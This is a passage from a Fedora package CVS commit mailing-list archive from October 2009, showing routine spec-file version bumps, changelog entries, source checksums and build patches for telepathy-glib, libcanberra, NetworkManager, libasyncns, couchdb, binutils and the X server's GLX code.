  Libs: ${abs_top_builddir}/telepathy-glib/libtelepathy-glib.la
  Cflags: -I${abs_top_srcdir} -I${abs_top_builddir}


Index: telepathy-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/F-12/telepathy-glib.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- telepathy-glib.spec	28 Sep 2009 20:10:39 -0000	1.48
+++ telepathy-glib.spec	15 Oct 2009 22:57:08 -0000	1.49
@@ -1,9 +1,9 @@
 %define	dbus_ver	0.95
 %define	dbus_glib_ver	0.73
-%define	glib_ver	2.16
+%define	glib_ver	2.20
 
 Name:           telepathy-glib
-Version:        0.9.0
+Version:        0.9.1
 Release:        1%{?dist}
 Summary:        GLib bindings for Telepathy
 
@@ -89,6 +89,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 15 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.9.1-1
+- Update to 0.9.1.
+
 * Mon Sep 28 2009 Bastien Nocera <bnocera at redhat.com> 0.9.0-1
 - Update to 0.9.0
 



From lennart at fedoraproject.org  Thu Oct 15 23:20:53 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Thu, 15 Oct 2009 23:20:53 +0000 (UTC)
Subject: rpms/libcanberra/devel .cvsignore, 1.19, 1.20 libcanberra.spec, 1.39,
	1.40 sources, 1.21, 1.22
Message-ID: <20091015232053.7FDAE11C029F@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2743

Modified Files:
	.cvsignore libcanberra.spec sources 
Log Message:
New version 0.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	15 Oct 2009 02:43:49 -0000	1.19
+++ .cvsignore	15 Oct 2009 23:20:49 -0000	1.20
@@ -1 +1 @@
-libcanberra-0.20.tar.gz
+libcanberra-0.21.tar.gz


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/libcanberra.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- libcanberra.spec	15 Oct 2009 02:43:49 -0000	1.39
+++ libcanberra.spec	15 Oct 2009 23:20:49 -0000	1.40
@@ -1,5 +1,5 @@
 Name: libcanberra
-Version: 0.20
+Version: 0.21
 Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
+* Fri Oct 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.21-1
+- New version 0.21
+
 * Thu Oct 15 2009 Lennart Poettering <lpoetter at redhat.com> 0.20-1
 - New version 0.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	15 Oct 2009 02:43:49 -0000	1.21
+++ sources	15 Oct 2009 23:20:49 -0000	1.22
@@ -1 +1 @@
-2f603086a1c994e96143c18739bc4200  libcanberra-0.20.tar.gz
+6d7b5eb6be8fca491008da529a02f5d5  libcanberra-0.21.tar.gz



From lennart at fedoraproject.org  Thu Oct 15 23:29:00 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Thu, 15 Oct 2009 23:29:00 +0000 (UTC)
Subject: rpms/libcanberra/F-12 .cvsignore, 1.19, 1.20 libcanberra.spec, 1.39,
	1.40 sources, 1.21, 1.22
Message-ID: <20091015232900.DBE2D11C00DB@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7511

Modified Files:
	.cvsignore libcanberra.spec sources 
Log Message:
New version 0.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	15 Oct 2009 02:35:00 -0000	1.19
+++ .cvsignore	15 Oct 2009 23:28:58 -0000	1.20
@@ -1 +1 @@
-libcanberra-0.20.tar.gz
+libcanberra-0.21.tar.gz


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/libcanberra.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- libcanberra.spec	15 Oct 2009 02:35:00 -0000	1.39
+++ libcanberra.spec	15 Oct 2009 23:28:59 -0000	1.40
@@ -1,5 +1,5 @@
 Name: libcanberra
-Version: 0.20
+Version: 0.21
 Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
+* Fri Oct 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.21-1
+- New version 0.21
+
 * Thu Oct 15 2009 Lennart Poettering <lpoetter at redhat.com> 0.20-1
 - New version 0.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	15 Oct 2009 02:35:00 -0000	1.21
+++ sources	15 Oct 2009 23:28:59 -0000	1.22
@@ -1 +1 @@
-2f603086a1c994e96143c18739bc4200  libcanberra-0.20.tar.gz
+6d7b5eb6be8fca491008da529a02f5d5  libcanberra-0.21.tar.gz



From dcbw at fedoraproject.org  Thu Oct 15 23:29:06 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 15 Oct 2009 23:29:06 +0000 (UTC)
Subject: rpms/NetworkManager/F-11 NetworkManager.spec, 1.280, 1.281 sources, 
	1.146, 1.147
Message-ID: <20091015232906.AEF2911C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7553

Modified Files:
	NetworkManager.spec sources 
Log Message:
- nm: enhanced support for Icera-based Option modems (AT&T Quicksilver, iCON 505)



Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/NetworkManager.spec,v
retrieving revision 1.280
retrieving revision 1.281
diff -u -p -r1.280 -r1.281
--- NetworkManager.spec	15 Oct 2009 22:47:09 -0000	1.280
+++ NetworkManager.spec	15 Oct 2009 23:29:06 -0000	1.281
@@ -353,6 +353,7 @@ fi
 - nm: fix race causing erroneous ethernet carrier change events
 - nm: fixes for ZTE, Onda, and Sierra modem detection and operation
 - nm: enhanced support for Ericsson 'mbm' modems
+- nm: enhanced support for AT&T Quicksilver and Option iCON 505
 - nm: work around PPP bug returning bogus nameservers
 - applet: PEAP, TTLS, and wired 802.1x fixes
 - applet: install GConf schemas


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/sources,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- sources	15 Oct 2009 22:47:09 -0000	1.146
+++ sources	15 Oct 2009 23:29:06 -0000	1.147
@@ -1,2 +1,2 @@
 e7ee1e623756c632134dc6b4cf47bcb1  network-manager-applet-0.7.1.996.tar.bz2
-c7a822f6308a6eb302195fe4b385dc6c  NetworkManager-0.7.1.996.git20091015.tar.bz2
+121d0d8a68c17998e0cfedcb0b43052d  NetworkManager-0.7.1.996.git20091015.tar.bz2



From dcbw at fedoraproject.org  Thu Oct 15 23:41:21 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 15 Oct 2009 23:41:21 +0000 (UTC)
Subject: rpms/NetworkManager/F-11 sources,1.147,1.148
Message-ID: <20091015234121.798F411C02A2@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12191

Modified Files:
	sources 
Log Message:
Add the tarball that really fixes Quicksilver and iCON 505



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/sources,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- sources	15 Oct 2009 23:29:06 -0000	1.147
+++ sources	15 Oct 2009 23:41:19 -0000	1.148
@@ -1,2 +1,2 @@
 e7ee1e623756c632134dc6b4cf47bcb1  network-manager-applet-0.7.1.996.tar.bz2
-121d0d8a68c17998e0cfedcb0b43052d  NetworkManager-0.7.1.996.git20091015.tar.bz2
+5f0e1d01ca37011680c1411255c0fd61  NetworkManager-0.7.1.996.git20091015.tar.bz2



From lennart at fedoraproject.org  Thu Oct 15 23:41:45 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Thu, 15 Oct 2009 23:41:45 +0000 (UTC)
Subject: rpms/libasyncns/devel .cvsignore, 1.5, 1.6 libasyncns.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091015234145.5684411C02A2@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libasyncns/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12483

Modified Files:
	.cvsignore libasyncns.spec sources 
Log Message:
New release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libasyncns/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	27 Oct 2008 23:46:02 -0000	1.5
+++ .cvsignore	15 Oct 2009 23:41:39 -0000	1.6
@@ -1 +1 @@
-libasyncns-0.7.tar.gz
+libasyncns-0.8.tar.gz


Index: libasyncns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libasyncns/devel/libasyncns.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- libasyncns.spec	25 Jul 2009 05:20:40 -0000	1.7
+++ libasyncns.spec	15 Oct 2009 23:41:41 -0000	1.8
@@ -1,6 +1,6 @@
 Name: libasyncns
-Version: 0.7
-Release: 3%{?dist}
+Version: 0.8
+Release: 1%{?dist}
 Summary: Asynchronous Name Service Library
 Group: System Environment/Libraries
 Source0: http://0pointer.de/lennart/projects/libasyncns/libasyncns-%{version}.tar.gz
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libasyncns.pc
 
 %changelog
+* Fri Oct 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.8-1
+- New release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libasyncns/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Oct 2008 23:46:02 -0000	1.5
+++ sources	15 Oct 2009 23:41:41 -0000	1.6
@@ -1 +1 @@
-1cac4bd143503b597aaf5c344c0bf81e  libasyncns-0.7.tar.gz
+1f553d6ce1ad255bc83b3d8e9384f515  libasyncns-0.8.tar.gz



From lennart at fedoraproject.org  Thu Oct 15 23:48:48 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Thu, 15 Oct 2009 23:48:48 +0000 (UTC)
Subject: rpms/libasyncns/F-12 .cvsignore, 1.5, 1.6 libasyncns.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091015234848.564FD11C00DB@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libasyncns/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15586

Modified Files:
	.cvsignore libasyncns.spec sources 
Log Message:
New release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libasyncns/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	27 Oct 2008 23:46:02 -0000	1.5
+++ .cvsignore	15 Oct 2009 23:48:47 -0000	1.6
@@ -1 +1 @@
-libasyncns-0.7.tar.gz
+libasyncns-0.8.tar.gz


Index: libasyncns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libasyncns/F-12/libasyncns.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- libasyncns.spec	25 Jul 2009 05:20:40 -0000	1.7
+++ libasyncns.spec	15 Oct 2009 23:48:48 -0000	1.8
@@ -1,6 +1,6 @@
 Name: libasyncns
-Version: 0.7
-Release: 3%{?dist}
+Version: 0.8
+Release: 1%{?dist}
 Summary: Asynchronous Name Service Library
 Group: System Environment/Libraries
 Source0: http://0pointer.de/lennart/projects/libasyncns/libasyncns-%{version}.tar.gz
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libasyncns.pc
 
 %changelog
+* Fri Oct 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.8-1
+- New release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libasyncns/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Oct 2008 23:46:02 -0000	1.5
+++ sources	15 Oct 2009 23:48:48 -0000	1.6
@@ -1 +1 @@
-1cac4bd143503b597aaf5c344c0bf81e  libasyncns-0.7.tar.gz
+1f553d6ce1ad255bc83b3d8e9384f515  libasyncns-0.8.tar.gz



From allisson at fedoraproject.org  Fri Oct 16 00:14:28 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Fri, 16 Oct 2009 00:14:28 +0000 (UTC)
Subject: rpms/couchdb/devel couchdb-0.10.0-initenabled.patch, NONE,
	1.1 couchdb.spec, 1.7, 1.8 import.log, 1.5, 1.6
Message-ID: <20091016001428.AD8BB11C00DB@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27835/devel

Modified Files:
	couchdb.spec import.log 
Added Files:
	couchdb-0.10.0-initenabled.patch 
Log Message:

- Added patch to force init_enabled=true in configure.ac.


couchdb-0.10.0-initenabled.patch:
 configure.ac |   16 +++-------------
 1 file changed, 3 insertions(+), 13 deletions(-)

--- NEW FILE couchdb-0.10.0-initenabled.patch ---
diff -up apache-couchdb-0.10.0/configure.ac.initenabled apache-couchdb-0.10.0/configure.ac
--- apache-couchdb-0.10.0/configure.ac.initenabled	2009-10-15 20:43:58.863638384 -0300
+++ apache-couchdb-0.10.0/configure.ac	2009-10-15 21:05:04.723374156 -0300
@@ -242,19 +242,9 @@ launchd_enabled=false
 
 if test "$use_init" = "yes"; then
    AC_MSG_CHECKING(location of init directory)
-   if test -d /etc/rc.d; then
-       init_enabled=true
-       AC_SUBST([initdir], ['${sysconfdir}/rc.d'])
-       AC_MSG_RESULT(${initdir})
-   else
-       if test -d /etc/init.d; then
-           init_enabled=true
-           AC_SUBST([initdir], ['${sysconfdir}/init.d'])
-           AC_MSG_RESULT(${initdir})
-       else
-           AC_MSG_RESULT(not found)
-       fi
-    fi
+   init_enabled=true
+   AC_SUBST([initdir], ['${sysconfdir}/rc.d'])
+   AC_MSG_RESULT(${initdir})
 fi
 
 if test "$use_launchd" = "yes"; then


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/devel/couchdb.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- couchdb.spec	15 Oct 2009 22:40:00 -0000	1.7
+++ couchdb.spec	16 Oct 2009 00:14:25 -0000	1.8
@@ -4,7 +4,7 @@
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
 Version:        0.10.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
@@ -12,6 +12,7 @@ License:        ASL 2.0
 URL:            http://couchdb.apache.org/
 Source0:        http://www.apache.org/dist/%{name}/%{version}/%{tarname}-%{version}.tar.gz
 Source1:        %{name}.init
+Patch0:         %{name}-%{version}-initenabled.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  erlang
@@ -43,11 +44,13 @@ JavaScript acting as the default view de
 
 %prep
 %setup -q -n %{tarname}-%{version}
+%patch0 -p1 -b .initenabled
 # Patch pid location
 #sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
 #bin/couchdb.tpl.in
 
 
+
 %build
 %configure
 make %{?_smp_mflags}
@@ -138,6 +141,9 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-2
+- Added patch to force init_enabled=true in configure.ac.
+
 * Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
 - Update to 0.10.0.
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/devel/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	15 Oct 2009 22:40:00 -0000	1.5
+++ import.log	16 Oct 2009 00:14:25 -0000	1.6
@@ -3,3 +3,4 @@ couchdb-0_9_0-1_fc10:HEAD:couchdb-0.9.0-
 couchdb-0_9_0-2_fc10:HEAD:couchdb-0.9.0-2.fc10.src.rpm:1241742181
 couchdb-0_9_1-1_fc11:HEAD:couchdb-0.9.1-1.fc11.src.rpm:1249005969
 couchdb-0_10_0-1_fc11:HEAD:couchdb-0.10.0-1.fc11.src.rpm:1255646329
+couchdb-0_10_0-2_fc11:HEAD:couchdb-0.10.0-2.fc11.src.rpm:1255651984



From allisson at fedoraproject.org  Fri Oct 16 00:15:49 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Fri, 16 Oct 2009 00:15:49 +0000 (UTC)
Subject: rpms/couchdb/F-12 couchdb-0.10.0-initenabled.patch, NONE,
	1.1 couchdb.spec, 1.6, 1.7 import.log, 1.5, 1.6
Message-ID: <20091016001549.612F011C00DB@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28874/F-12

Modified Files:
	couchdb.spec import.log 
Added Files:
	couchdb-0.10.0-initenabled.patch 
Log Message:

- Added patch to force init_enabled=true in configure.ac.


couchdb-0.10.0-initenabled.patch:
 configure.ac |   16 +++-------------
 1 file changed, 3 insertions(+), 13 deletions(-)

--- NEW FILE couchdb-0.10.0-initenabled.patch ---
diff -up apache-couchdb-0.10.0/configure.ac.initenabled apache-couchdb-0.10.0/configure.ac
--- apache-couchdb-0.10.0/configure.ac.initenabled	2009-10-15 20:43:58.863638384 -0300
+++ apache-couchdb-0.10.0/configure.ac	2009-10-15 21:05:04.723374156 -0300
@@ -242,19 +242,9 @@ launchd_enabled=false
 
 if test "$use_init" = "yes"; then
    AC_MSG_CHECKING(location of init directory)
-   if test -d /etc/rc.d; then
-       init_enabled=true
-       AC_SUBST([initdir], ['${sysconfdir}/rc.d'])
-       AC_MSG_RESULT(${initdir})
-   else
-       if test -d /etc/init.d; then
-           init_enabled=true
-           AC_SUBST([initdir], ['${sysconfdir}/init.d'])
-           AC_MSG_RESULT(${initdir})
-       else
-           AC_MSG_RESULT(not found)
-       fi
-    fi
+   init_enabled=true
+   AC_SUBST([initdir], ['${sysconfdir}/rc.d'])
+   AC_MSG_RESULT(${initdir})
 fi
 
 if test "$use_launchd" = "yes"; then


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-12/couchdb.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- couchdb.spec	15 Oct 2009 22:43:41 -0000	1.6
+++ couchdb.spec	16 Oct 2009 00:15:49 -0000	1.7
@@ -4,7 +4,7 @@
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
 Version:        0.10.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
@@ -12,6 +12,7 @@ License:        ASL 2.0
 URL:            http://couchdb.apache.org/
 Source0:        http://www.apache.org/dist/%{name}/%{version}/%{tarname}-%{version}.tar.gz
 Source1:        %{name}.init
+Patch0:         %{name}-%{version}-initenabled.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  erlang
@@ -43,11 +44,13 @@ JavaScript acting as the default view de
 
 %prep
 %setup -q -n %{tarname}-%{version}
+%patch0 -p1 -b .initenabled
 # Patch pid location
 #sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
 #bin/couchdb.tpl.in
 
 
+
 %build
 %configure
 make %{?_smp_mflags}
@@ -138,6 +141,9 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-2
+- Added patch to force init_enabled=true in configure.ac.
+
 * Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
 - Update to 0.10.0.
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-12/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	15 Oct 2009 22:43:41 -0000	1.5
+++ import.log	16 Oct 2009 00:15:49 -0000	1.6
@@ -3,3 +3,4 @@ couchdb-0_9_0-1_fc10:HEAD:couchdb-0.9.0-
 couchdb-0_9_0-2_fc10:HEAD:couchdb-0.9.0-2.fc10.src.rpm:1241742181
 couchdb-0_9_1-1_fc11:HEAD:couchdb-0.9.1-1.fc11.src.rpm:1249005969
 couchdb-0_10_0-1_fc11:F-12:couchdb-0.10.0-1.fc11.src.rpm:1255646422
+couchdb-0_10_0-2_fc11:F-12:couchdb-0.10.0-2.fc11.src.rpm:1255652085



From roland at fedoraproject.org  Fri Oct 16 00:41:02 2009
From: roland at fedoraproject.org (roland)
Date: Fri, 16 Oct 2009 00:41:02 +0000 (UTC)
Subject: rpms/binutils/devel binutils-2.20.51.0.2-set-long-long.patch, 1.1,
	1.2
Message-ID: <20091016004102.EA60D11C00DB@cvs1.fedora.phx.redhat.com>

Author: roland

Update of /cvs/pkgs/rpms/binutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8033

Modified Files:
	binutils-2.20.51.0.2-set-long-long.patch 
Log Message:
Remove bogon patch for .orig file

binutils-2.20.51.0.2-set-long-long.patch:
 configure    |    6 ++++--
 configure.in |    6 ++++--
 2 files changed, 8 insertions(+), 4 deletions(-)

Index: binutils-2.20.51.0.2-set-long-long.patch
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/devel/binutils-2.20.51.0.2-set-long-long.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- binutils-2.20.51.0.2-set-long-long.patch	12 Oct 2009 11:18:37 -0000	1.1
+++ binutils-2.20.51.0.2-set-long-long.patch	16 Oct 2009 00:41:01 -0000	1.2
@@ -36,42 +36,3 @@ diff -rup ../binutils-2.20.51.0.2.orig/b
      BFD_HOSTPTR_T="unsigned long long"
    fi
  fi
-diff -rup ../binutils-2.20.51.0.2.orig/bfd/configure.orig bfd/configure.orig
---- ../binutils-2.20.51.0.2.orig/bfd/configure.orig	2009-10-12 11:45:05.000000000 +0100
-+++ bfd/configure.orig	2009-10-12 11:31:43.000000000 +0100
-@@ -10670,10 +10670,34 @@ fi
-   # before this can be enabled.
-   hardcode_into_libs=yes
- 
-+   # find out which ABI we are using
-+   libsuff=
-+   case "$host_cpu" in
-+   x86_64*|s390*|powerpc*|ppc*|sparc*)
-+     echo 'int i;' > conftest.$ac_ext
-+     if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
-+   (eval $ac_compile) 2>&5
-+   ac_status=$?
-+   echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+   (exit $ac_status); }; then
-+       case `/usr/bin/file conftest.$ac_objext` in
-+       *64-bit*)
-+         libsuff=64
-+         if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
-+           sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
-+         fi
-+         sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
-+         ;;
-+       esac
-+     fi
-+     rm -rf conftest*
-+     ;;
-+   esac
-+ 
-   # Append ld.so.conf contents to the search path
-   if test -f /etc/ld.so.conf; then
-     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
--    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
-+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
-   fi
- 
-   # We used to test for /lib/ld.so.1 and disable shared libraries on



From airlied at fedoraproject.org  Fri Oct 16 00:45:50 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri, 16 Oct 2009 00:45:50 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 xserver-1.7.0-glx-versioning.patch, NONE, 
	1.1 xorg-x11-server.spec, 1.494, 1.495
Message-ID: <20091016004550.582FE11C00DB@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10269

Modified Files:
	xorg-x11-server.spec 
Added Files:
	xserver-1.7.0-glx-versioning.patch 
Log Message:
* Fri Oct 16 2009 Dave Airlie <airlied at redhat.com> 1.7.0-4
- update GLX for 1.4 version reporting


xserver-1.7.0-glx-versioning.patch:
 glx/glxcmds.c                      |   12 ++++++++----
 glx/glxdri2.c                      |   12 ++++++++++++
 glx/glxext.c                       |    8 +++++++-
 glx/glxscreens.c                   |   15 ++++++++++++---
 glx/glxscreens.h                   |   11 +++++++++++
 glx/glxserver.h                    |    3 +++
 glx/indirect_texture_compression.c |    4 ++--
 include/protocol-versions.h        |    3 +--
 8 files changed, 56 insertions(+), 12 deletions(-)

--- NEW FILE xserver-1.7.0-glx-versioning.patch ---
>From 3ef4be8129f78afd5566a9e5d0fb901449dcb771 Mon Sep 17 00:00:00 2001
From: Ian Romanick <ian.d.romanick at intel.com>
Date: Tue, 29 Sep 2009 16:43:43 -0700
Subject: [PATCH] GLX: Enable GLX 1.4 on DRI2

this squashes 4 commits
(cherry picked from commit ad5c0d9efa47476ed5cf75c82265c73919e468b4)
(cherry picked from commit cb54cf1b3e8c4109541cfb698542c00f2473e731)
(cherry picked from commit 4c6bfa2c09ae2b0cffdf9211a6dfbcaefe0366b5)
(cherry picked from commit 9bf2ff4faf730913de3073f346646a8727be41d4)
---
 glx/glxcmds.c                      |   12 ++++++++----
 glx/glxdri2.c                      |   12 ++++++++++++
 glx/glxext.c                       |    8 +++++++-
 glx/glxscreens.c                   |   15 ++++++++++++---
 glx/glxscreens.h                   |   11 +++++++++++
 glx/glxserver.h                    |    3 +++
 glx/indirect_texture_compression.c |    4 ++--
 include/protocol-versions.h        |    2 +-
 8 files changed, 56 insertions(+), 11 deletions(-)

diff --git a/glx/glxcmds.c b/glx/glxcmds.c
index b1061a8..ba4c123 100644
--- a/glx/glxcmds.c
+++ b/glx/glxcmds.c
@@ -50,7 +50,6 @@
 #include "indirect_dispatch.h"
 #include "indirect_table.h"
 #include "indirect_util.h"
-#include "protocol-versions.h"
 
 static int
 validGlxScreen(ClientPtr client, int screen, __GLXscreen **pGlxScreen, int *err)
@@ -739,8 +738,8 @@ int __glXDisp_QueryVersion(__GLXclientState *cl, GLbyte *pc)
     ** client if it wants to work with older clients; however, in this
     ** implementation the server just returns its version number.
     */
-    reply.majorVersion = SERVER_GLX_MAJOR_VERSION;
-    reply.minorVersion = SERVER_GLX_MINOR_VERSION;
+    reply.majorVersion = glxMajorVersion;
+    reply.minorVersion = glxMinorVersion;
     reply.length = 0;
     reply.type = X_Reply;
     reply.sequenceNumber = client->sequence;
@@ -2360,6 +2359,7 @@ int __glXDisp_QueryServerString(__GLXclientState *cl, GLbyte *pc)
     char *buf;
     __GLXscreen *pGlxScreen;
     int err;
+    char ver_str[16];
 
     if (!validGlxScreen(client, req->screen, &pGlxScreen, &err))
 	return err;
@@ -2369,7 +2369,11 @@ int __glXDisp_QueryServerString(__GLXclientState *cl, GLbyte *pc)
 	    ptr = pGlxScreen->GLXvendor;
 	    break;
 	case GLX_VERSION:
-	    ptr = pGlxScreen->GLXversion;
+	    /* Return to the server version rather than the screen version
+	     * to prevent confusion when they do not match.
+	     */
+	    snprintf(ver_str, 16, "%d.%d", glxMajorVersion, glxMinorVersion);
+	    ptr = ver_str;
 	    break;
 	case GLX_EXTENSIONS:
